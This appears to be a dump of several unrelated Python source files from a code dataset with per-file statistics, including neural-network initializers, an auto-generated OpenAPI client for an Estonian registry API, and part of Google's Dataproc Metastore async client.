0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 172 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 173 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 174 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 175 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 176 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 177 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 178 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 179 ) """ parameters for reproducibiliy. More information: https://numpy.org/doc/stable/reference/random/parallel.html """ #initial entropy entropy = 8991598675325360468762009371570610170 #index for seed sequence child child_seed_index = ( 1, # 0 18, # 1 )

278.986096

492

0.771809

32,987

260,852

6.102919

0.227423

0.354068

0.339763

0.643761

0.367485

0.360625

0.359751

0.359493

0

0.85143

0.09482

260,852

934

493

279.284797

0.001182

0.015377

0

0.200873

0

1

0

false

0.005459

0

null

1

0

1

0

1

0

null

0

6

07e2d500a3c14d5b27e2a31a74185473841ac4b4

397

py

Python

lab4/inits.py

GustavHenning/DeepLearning18

9489208a41822a41ff87af19dac9f06ad30ac3ea

[ "MIT" ]

null

lab4/inits.py

GustavHenning/DeepLearning18

9489208a41822a41ff87af19dac9f06ad30ac3ea

[ "MIT" ]

null

lab4/inits.py

GustavHenning/DeepLearning18

9489208a41822a41ff87af19dac9f06ad30ac3ea

[ "MIT" ]

null

import sys import numpy as np class Initializer: def from_shape(self, shape): print("Initializer is an interface.") sys.exit(1) pass class Zeros(Initializer): def from_shape(self, shape): return np.zeros(shape, dtype=float) class Xavier(Initializer): def from_shape(self, shape): return np.random.normal(0, np.sqrt(2 / (sum(shape))), shape)

22.055556

68

0.652393

55

397

4.654545

0.527273

0.164063

0.210938

0.269531

0.4375

0.3125

0

0.009836

0.231738

397

17

69

23.352941

0.829508

0

0.230769

0

0.070529

0

1

0.230769

false

0.076923

0.153846

0.769231

0.076923

0

null

0

1

0

null

0

1

0

1

0

1

0

6

6af4bc0a0246e69913f87ed27bc81d0a0782ef65

61

py

Python

spacetx_hca_flattener/test/test_import.py

spacetx/spacetx-hca-flattener

a75d6748a133498b2bcd93009888237754a5af7b

[ "MIT" ]

null

spacetx_hca_flattener/test/test_import.py

spacetx/spacetx-hca-flattener

a75d6748a133498b2bcd93009888237754a5af7b

[ "MIT" ]

null

spacetx_hca_flattener/test/test_import.py

spacetx/spacetx-hca-flattener

a75d6748a133498b2bcd93009888237754a5af7b

[ "MIT" ]

null

def test_import(): import spacetx_hca_flattener # noqa

20.333333

41

0.737705

8

61

5.25

0.875

0

0.196721

61

2

42

30.5

0.857143

0.065574

0

1

0.5

true

0

1

0

1.5

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1

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null

0

1

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null

0

1

0

1

0

1

0

6

ed146d135430f0711947398a4a62add689c3be98

538

py

Python

src/skmultiflow/rules/attribute_expand_suggestion.py

lambertsbennett/scikit-multiflow

bc714fd5ee4f0a486adc00ec6ae39eafa64f81cc

[ "BSD-3-Clause" ]

1

2020-04-16T10:17:03.000Z

src/skmultiflow/rules/attribute_expand_suggestion.py

lambertsbennett/scikit-multiflow

bc714fd5ee4f0a486adc00ec6ae39eafa64f81cc

[ "BSD-3-Clause" ]

null

src/skmultiflow/rules/attribute_expand_suggestion.py

lambertsbennett/scikit-multiflow

bc714fd5ee4f0a486adc00ec6ae39eafa64f81cc

[ "BSD-3-Clause" ]

1

2019-09-26T02:49:25.000Z

class AttributeExpandSuggestion(object): def __init__(self, att_idx, att_val, operator, resulting_class_distributions, merit): self.resulting_class_distributions = resulting_class_distributions self.merit = merit self.att_idx = att_idx self.att_val = att_val self.operator = operator def num_splits(self): return len(self.resulting_class_distributions) def resulting_class_distribution_from_split(self, split_idx): return self.resulting_class_distributions[split_idx]

38.428571

89

0.745353

64

538

5.84375

0.3125

0.224599

0.360963

0.248663

0

0.19145

538

13

90

41.384615

0.85977

0

1

0.272727

false

0

0.181818

0.545455

0

null

1

0

null

0

1

0

1

0

6

ed23c77bcdb97e86d91c9552f1ef5eaf16962513

21,563

py

Python

pyevr/openapi_client/api/place_of_deliveries_api.py

thorgate/pyevr

168f2e9459020212213ed0291882a285ebb53839

[ "MIT" ]

3

2020-04-18T19:45:51.000Z

2022-03-01T19:48:11.000Z

pyevr/openapi_client/api/place_of_deliveries_api.py

thorgate/pyevr

168f2e9459020212213ed0291882a285ebb53839

[ "MIT" ]

39

2019-11-16T01:35:35.000Z

2021-11-18T12:58:41.000Z

pyevr/openapi_client/api/place_of_deliveries_api.py

thorgate/pyevr

168f2e9459020212213ed0291882a285ebb53839

[ "MIT" ]

null

# coding: utf-8 """ EVR API OpenAPI Generator'i jaoks kohandatud EVR API kirjeldus. Kasuta seda juhul, kui spetsifikatsioonile vastava EVR API kirjeldusega ei õnnestu klienti genereerida. # noqa: E501 The version of the OpenAPI document: 1.8.0 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from pyevr.openapi_client.api_client import ApiClient from pyevr.openapi_client.exceptions import ( # noqa: F401 ApiTypeError, ApiValueError ) class PlaceOfDeliveriesApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def place_of_deliveries_add_or_update(self, code, put_place_of_delivery_request, **kwargs): # noqa: E501 """Tarnekoha lisamine ja muutmine # noqa: E501 Lisab uue tarnekoha. Kui antud koodiga tarnekoht juba eksisteerib, siis muudab olemasolevat tarnekohta. Loomisel märgitakse päringu tegija tarnekoha omanikuks. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.place_of_deliveries_add_or_update(code, put_place_of_delivery_request, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str code: Kood (required) :param PutPlaceOfDeliveryRequest put_place_of_delivery_request: (required) :param str evr_language: Defineerib keele tagastatavatele veateadetele (toetatud on väärtused \"et\" eesti keele ning \"en\" inglise keele jaoks). :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.place_of_deliveries_add_or_update_with_http_info(code, put_place_of_delivery_request, **kwargs) # noqa: E501 def place_of_deliveries_add_or_update_with_http_info(self, code, put_place_of_delivery_request, **kwargs): # noqa: E501 """Tarnekoha lisamine ja muutmine # noqa: E501 Lisab uue tarnekoha. Kui antud koodiga tarnekoht juba eksisteerib, siis muudab olemasolevat tarnekohta. Loomisel märgitakse päringu tegija tarnekoha omanikuks. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.place_of_deliveries_add_or_update_with_http_info(code, put_place_of_delivery_request, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str code: Kood (required) :param PutPlaceOfDeliveryRequest put_place_of_delivery_request: (required) :param str evr_language: Defineerib keele tagastatavatele veateadetele (toetatud on väärtused \"et\" eesti keele ning \"en\" inglise keele jaoks). :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'code', 'put_place_of_delivery_request', 'evr_language' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method place_of_deliveries_add_or_update" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'code' is set if self.api_client.client_side_validation and ('code' not in local_var_params or # noqa: E501 local_var_params['code'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `code` when calling `place_of_deliveries_add_or_update`") # noqa: E501 # verify the required parameter 'put_place_of_delivery_request' is set if self.api_client.client_side_validation and ('put_place_of_delivery_request' not in local_var_params or # noqa: E501 local_var_params['put_place_of_delivery_request'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `put_place_of_delivery_request` when calling `place_of_deliveries_add_or_update`") # noqa: E501 collection_formats = {} path_params = {} if 'code' in local_var_params: path_params['code'] = local_var_params['code'] # noqa: E501 query_params = [] header_params = {} if 'evr_language' in local_var_params: header_params['EVR-LANGUAGE'] = local_var_params['evr_language'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'put_place_of_delivery_request' in local_var_params: body_params = local_var_params['put_place_of_delivery_request'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['SecretApiKey'] # noqa: E501 return self.api_client.call_api( '/api/placeofdeliveries/{code}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def place_of_deliveries_get(self, code, **kwargs): # noqa: E501 """Tarnekoha pärimine # noqa: E501 Tagastab koodile vastava tarnekoha. Pärida saab ainult enda asutusele kuuluvat tarnekohta. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.place_of_deliveries_get(code, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str code: Päritava tarnekoha kood (tõstutundlik) (required) :param str evr_language: Defineerib keele tagastatavatele veateadetele (toetatud on väärtused \"et\" eesti keele ning \"en\" inglise keele jaoks). :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: PlaceOfDelivery If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.place_of_deliveries_get_with_http_info(code, **kwargs) # noqa: E501 def place_of_deliveries_get_with_http_info(self, code, **kwargs): # noqa: E501 """Tarnekoha pärimine # noqa: E501 Tagastab koodile vastava tarnekoha. Pärida saab ainult enda asutusele kuuluvat tarnekohta. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.place_of_deliveries_get_with_http_info(code, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str code: Päritava tarnekoha kood (tõstutundlik) (required) :param str evr_language: Defineerib keele tagastatavatele veateadetele (toetatud on väärtused \"et\" eesti keele ning \"en\" inglise keele jaoks). :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(PlaceOfDelivery, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'code', 'evr_language' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method place_of_deliveries_get" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'code' is set if self.api_client.client_side_validation and ('code' not in local_var_params or # noqa: E501 local_var_params['code'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `code` when calling `place_of_deliveries_get`") # noqa: E501 collection_formats = {} path_params = {} if 'code' in local_var_params: path_params['code'] = local_var_params['code'] # noqa: E501 query_params = [] header_params = {} if 'evr_language' in local_var_params: header_params['EVR-LANGUAGE'] = local_var_params['evr_language'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['SecretApiKey'] # noqa: E501 return self.api_client.call_api( '/api/placeofdeliveries/{code}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PlaceOfDelivery', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def place_of_deliveries_list(self, **kwargs): # noqa: E501 """Tarnekohtade pärimine # noqa: E501 Tagastab filtritele vastavad aktiivsed avalikud tarnekohad ja kõik ettevõttega seotud tarnekohad. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.place_of_deliveries_list(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str name_contains: Filtreerib tarnekohad, mille nimi sisaldab otsinguterminit :param str code_starts_with: Filtreerib tarnekohad, mille kood algab otsinguterminiga (tõstutundlik) :param str register_code: Filtreerib ettevõtte tarnekohad, mille registrikood vastab otsinguterminile :param str address: Vabatekstiline aadressi otsing. Toetatud on järgmine süntaks: * ilma jutumärkideta tekst: sõnade vahel rakendatakse loogiline JA * jutumärkides tekst: otsitakse jutumärkides olevat lauset * OR: loogiline VÕI operaator sõnade vahel * -: loogiline EITUS :param int page: Tagastatav lehekülg :param str evr_language: Defineerib keele tagastatavatele veateadetele (toetatud on väärtused \"et\" eesti keele ning \"en\" inglise keele jaoks). :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: PagedResultOfPlaceOfDelivery If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.place_of_deliveries_list_with_http_info(**kwargs) # noqa: E501 def place_of_deliveries_list_with_http_info(self, **kwargs): # noqa: E501 """Tarnekohtade pärimine # noqa: E501 Tagastab filtritele vastavad aktiivsed avalikud tarnekohad ja kõik ettevõttega seotud tarnekohad. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.place_of_deliveries_list_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str name_contains: Filtreerib tarnekohad, mille nimi sisaldab otsinguterminit :param str code_starts_with: Filtreerib tarnekohad, mille kood algab otsinguterminiga (tõstutundlik) :param str register_code: Filtreerib ettevõtte tarnekohad, mille registrikood vastab otsinguterminile :param str address: Vabatekstiline aadressi otsing. Toetatud on järgmine süntaks: * ilma jutumärkideta tekst: sõnade vahel rakendatakse loogiline JA * jutumärkides tekst: otsitakse jutumärkides olevat lauset * OR: loogiline VÕI operaator sõnade vahel * -: loogiline EITUS :param int page: Tagastatav lehekülg :param str evr_language: Defineerib keele tagastatavatele veateadetele (toetatud on väärtused \"et\" eesti keele ning \"en\" inglise keele jaoks). :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(PagedResultOfPlaceOfDelivery, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'name_contains', 'code_starts_with', 'register_code', 'address', 'page', 'evr_language' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method place_of_deliveries_list" % key ) local_var_params[key] = val del local_var_params['kwargs'] if self.api_client.client_side_validation and 'page' in local_var_params and local_var_params['page'] > 2147483647: # noqa: E501 raise ApiValueError("Invalid value for parameter `page` when calling `place_of_deliveries_list`, must be a value less than or equal to `2147483647`") # noqa: E501 if self.api_client.client_side_validation and 'page' in local_var_params and local_var_params['page'] < 1: # noqa: E501 raise ApiValueError("Invalid value for parameter `page` when calling `place_of_deliveries_list`, must be a value greater than or equal to `1`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'name_contains' in local_var_params and local_var_params['name_contains'] is not None: # noqa: E501 query_params.append(('name_contains', local_var_params['name_contains'])) # noqa: E501 if 'code_starts_with' in local_var_params and local_var_params['code_starts_with'] is not None: # noqa: E501 query_params.append(('code_starts_with', local_var_params['code_starts_with'])) # noqa: E501 if 'register_code' in local_var_params and local_var_params['register_code'] is not None: # noqa: E501 query_params.append(('register_code', local_var_params['register_code'])) # noqa: E501 if 'address' in local_var_params and local_var_params['address'] is not None: # noqa: E501 query_params.append(('address', local_var_params['address'])) # noqa: E501 if 'page' in local_var_params and local_var_params['page'] is not None: # noqa: E501 query_params.append(('page', local_var_params['page'])) # noqa: E501 header_params = {} if 'evr_language' in local_var_params: header_params['EVR-LANGUAGE'] = local_var_params['evr_language'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['SecretApiKey'] # noqa: E501 return self.api_client.call_api( '/api/placeofdeliveries', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PagedResultOfPlaceOfDelivery', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)

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0.065531

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0.907535

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0.092683

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null

0

1

0

null

0

6

ed50a632874fbc3c8f6f2102150fe39432b002f8

26

py

Python

modules/random_spam/__init__.py

plusterm/plusterm

45e9382accdaae7d51c65cab77e571bc6d264936

[ "MIT" ]

2

2018-01-10T16:20:45.000Z

2018-01-16T12:04:13.000Z

modules/random_spam/__init__.py

plusterm/plusterm

45e9382accdaae7d51c65cab77e571bc6d264936

[ "MIT" ]

14

2018-01-10T12:56:43.000Z

2018-05-11T16:28:31.000Z

modules/random_spam/__init__.py

plusterm/plusterm

45e9382accdaae7d51c65cab77e571bc6d264936

[ "MIT" ]

null

from .random_spam import *

26

0.807692

4

26

5

1

0

0.115385

26

1

26

0.869565

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

ed5444989da8642dd54702b1e7ee9d4d6ff15f32

67,883

py

Python

google/cloud/metastore_v1/services/dataproc_metastore/async_client.py

LaudateCorpus1/python-dataproc-metastore

f8d7bb845079cb98a1f4d18ad68a6b3958541d51

[ "Apache-2.0" ]

null

google/cloud/metastore_v1/services/dataproc_metastore/async_client.py

LaudateCorpus1/python-dataproc-metastore

f8d7bb845079cb98a1f4d18ad68a6b3958541d51

[ "Apache-2.0" ]

null

google/cloud/metastore_v1/services/dataproc_metastore/async_client.py

LaudateCorpus1/python-dataproc-metastore

f8d7bb845079cb98a1f4d18ad68a6b3958541d51

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from collections import OrderedDict import functools import re from typing import Dict, Optional, Sequence, Tuple, Type, Union import pkg_resources from google.api_core.client_options import ClientOptions from google.api_core import exceptions as core_exceptions from google.api_core import gapic_v1 from google.api_core import retry as retries from google.auth import credentials as ga_credentials # type: ignore from google.oauth2 import service_account # type: ignore try: OptionalRetry = Union[retries.Retry, gapic_v1.method._MethodDefault] except AttributeError: # pragma: NO COVER OptionalRetry = Union[retries.Retry, object] # type: ignore from google.api_core import operation # type: ignore from google.api_core import operation_async # type: ignore from google.cloud.metastore_v1.services.dataproc_metastore import pagers from google.cloud.metastore_v1.types import metastore from google.protobuf import empty_pb2 # type: ignore from google.protobuf import field_mask_pb2 # type: ignore from google.protobuf import timestamp_pb2 # type: ignore from .transports.base import DataprocMetastoreTransport, DEFAULT_CLIENT_INFO from .transports.grpc_asyncio import DataprocMetastoreGrpcAsyncIOTransport from .client import DataprocMetastoreClient class DataprocMetastoreAsyncClient: """Configures and manages metastore services. Metastore services are fully managed, highly available, autoscaled, autohealing, OSS-native deployments of technical metadata management software. Each metastore service exposes a network endpoint through which metadata queries are served. Metadata queries can originate from a variety of sources, including Apache Hive, Apache Presto, and Apache Spark. The Dataproc Metastore API defines the following resource model: - The service works with a collection of Google Cloud projects, named: ``/projects/*`` - Each project has a collection of available locations, named: ``/locations/*`` (a location must refer to a Google Cloud ``region``) - Each location has a collection of services, named: ``/services/*`` - Dataproc Metastore services are resources with names of the form: ``/projects/{project_number}/locations/{location_id}/services/{service_id}``. """ _client: DataprocMetastoreClient DEFAULT_ENDPOINT = DataprocMetastoreClient.DEFAULT_ENDPOINT DEFAULT_MTLS_ENDPOINT = DataprocMetastoreClient.DEFAULT_MTLS_ENDPOINT backup_path = staticmethod(DataprocMetastoreClient.backup_path) parse_backup_path = staticmethod(DataprocMetastoreClient.parse_backup_path) metadata_import_path = staticmethod(DataprocMetastoreClient.metadata_import_path) parse_metadata_import_path = staticmethod( DataprocMetastoreClient.parse_metadata_import_path ) network_path = staticmethod(DataprocMetastoreClient.network_path) parse_network_path = staticmethod(DataprocMetastoreClient.parse_network_path) service_path = staticmethod(DataprocMetastoreClient.service_path) parse_service_path = staticmethod(DataprocMetastoreClient.parse_service_path) common_billing_account_path = staticmethod( DataprocMetastoreClient.common_billing_account_path ) parse_common_billing_account_path = staticmethod( DataprocMetastoreClient.parse_common_billing_account_path ) common_folder_path = staticmethod(DataprocMetastoreClient.common_folder_path) parse_common_folder_path = staticmethod( DataprocMetastoreClient.parse_common_folder_path ) common_organization_path = staticmethod( DataprocMetastoreClient.common_organization_path ) parse_common_organization_path = staticmethod( DataprocMetastoreClient.parse_common_organization_path ) common_project_path = staticmethod(DataprocMetastoreClient.common_project_path) parse_common_project_path = staticmethod( DataprocMetastoreClient.parse_common_project_path ) common_location_path = staticmethod(DataprocMetastoreClient.common_location_path) parse_common_location_path = staticmethod( DataprocMetastoreClient.parse_common_location_path ) @classmethod def from_service_account_info(cls, info: dict, *args, **kwargs): """Creates an instance of this client using the provided credentials info. Args: info (dict): The service account private key info. args: Additional arguments to pass to the constructor. kwargs: Additional arguments to pass to the constructor. Returns: DataprocMetastoreAsyncClient: The constructed client. """ return DataprocMetastoreClient.from_service_account_info.__func__(DataprocMetastoreAsyncClient, info, *args, **kwargs) # type: ignore @classmethod def from_service_account_file(cls, filename: str, *args, **kwargs): """Creates an instance of this client using the provided credentials file. Args: filename (str): The path to the service account private key json file. args: Additional arguments to pass to the constructor. kwargs: Additional arguments to pass to the constructor. Returns: DataprocMetastoreAsyncClient: The constructed client. """ return DataprocMetastoreClient.from_service_account_file.__func__(DataprocMetastoreAsyncClient, filename, *args, **kwargs) # type: ignore from_service_account_json = from_service_account_file @classmethod def get_mtls_endpoint_and_cert_source( cls, client_options: Optional[ClientOptions] = None ): """Return the API endpoint and client cert source for mutual TLS. The client cert source is determined in the following order: (1) if `GOOGLE_API_USE_CLIENT_CERTIFICATE` environment variable is not "true", the client cert source is None. (2) if `client_options.client_cert_source` is provided, use the provided one; if the default client cert source exists, use the default one; otherwise the client cert source is None. The API endpoint is determined in the following order: (1) if `client_options.api_endpoint` if provided, use the provided one. (2) if `GOOGLE_API_USE_CLIENT_CERTIFICATE` environment variable is "always", use the default mTLS endpoint; if the environment variabel is "never", use the default API endpoint; otherwise if client cert source exists, use the default mTLS endpoint, otherwise use the default API endpoint. More details can be found at https://google.aip.dev/auth/4114. Args: client_options (google.api_core.client_options.ClientOptions): Custom options for the client. Only the `api_endpoint` and `client_cert_source` properties may be used in this method. Returns: Tuple[str, Callable[[], Tuple[bytes, bytes]]]: returns the API endpoint and the client cert source to use. Raises: google.auth.exceptions.MutualTLSChannelError: If any errors happen. """ return DataprocMetastoreClient.get_mtls_endpoint_and_cert_source(client_options) # type: ignore @property def transport(self) -> DataprocMetastoreTransport: """Returns the transport used by the client instance. Returns: DataprocMetastoreTransport: The transport used by the client instance. """ return self._client.transport get_transport_class = functools.partial( type(DataprocMetastoreClient).get_transport_class, type(DataprocMetastoreClient) ) def __init__( self, *, credentials: ga_credentials.Credentials = None, transport: Union[str, DataprocMetastoreTransport] = "grpc_asyncio", client_options: ClientOptions = None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, ) -> None: """Instantiates the dataproc metastore client. Args: credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. transport (Union[str, ~.DataprocMetastoreTransport]): The transport to use. If set to None, a transport is chosen automatically. client_options (ClientOptions): Custom options for the client. It won't take effect if a ``transport`` instance is provided. (1) The ``api_endpoint`` property can be used to override the default endpoint provided by the client. GOOGLE_API_USE_MTLS_ENDPOINT environment variable can also be used to override the endpoint: "always" (always use the default mTLS endpoint), "never" (always use the default regular endpoint) and "auto" (auto switch to the default mTLS endpoint if client certificate is present, this is the default value). However, the ``api_endpoint`` property takes precedence if provided. (2) If GOOGLE_API_USE_CLIENT_CERTIFICATE environment variable is "true", then the ``client_cert_source`` property can be used to provide client certificate for mutual TLS transport. If not provided, the default SSL client certificate will be used if present. If GOOGLE_API_USE_CLIENT_CERTIFICATE is "false" or not set, no client certificate will be used. Raises: google.auth.exceptions.MutualTlsChannelError: If mutual TLS transport creation failed for any reason. """ self._client = DataprocMetastoreClient( credentials=credentials, transport=transport, client_options=client_options, client_info=client_info, ) async def list_services( self, request: Union[metastore.ListServicesRequest, dict] = None, *, parent: str = None, retry: OptionalRetry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> pagers.ListServicesAsyncPager: r"""Lists services in a project and location. Args: request (Union[google.cloud.metastore_v1.types.ListServicesRequest, dict]): The request object. Request message for [DataprocMetastore.ListServices][google.cloud.metastore.v1.DataprocMetastore.ListServices]. parent (:class:`str`): Required. The relative resource name of the location of metastore services to list, in the following form: ``projects/{project_number}/locations/{location_id}``. This corresponds to the ``parent`` field 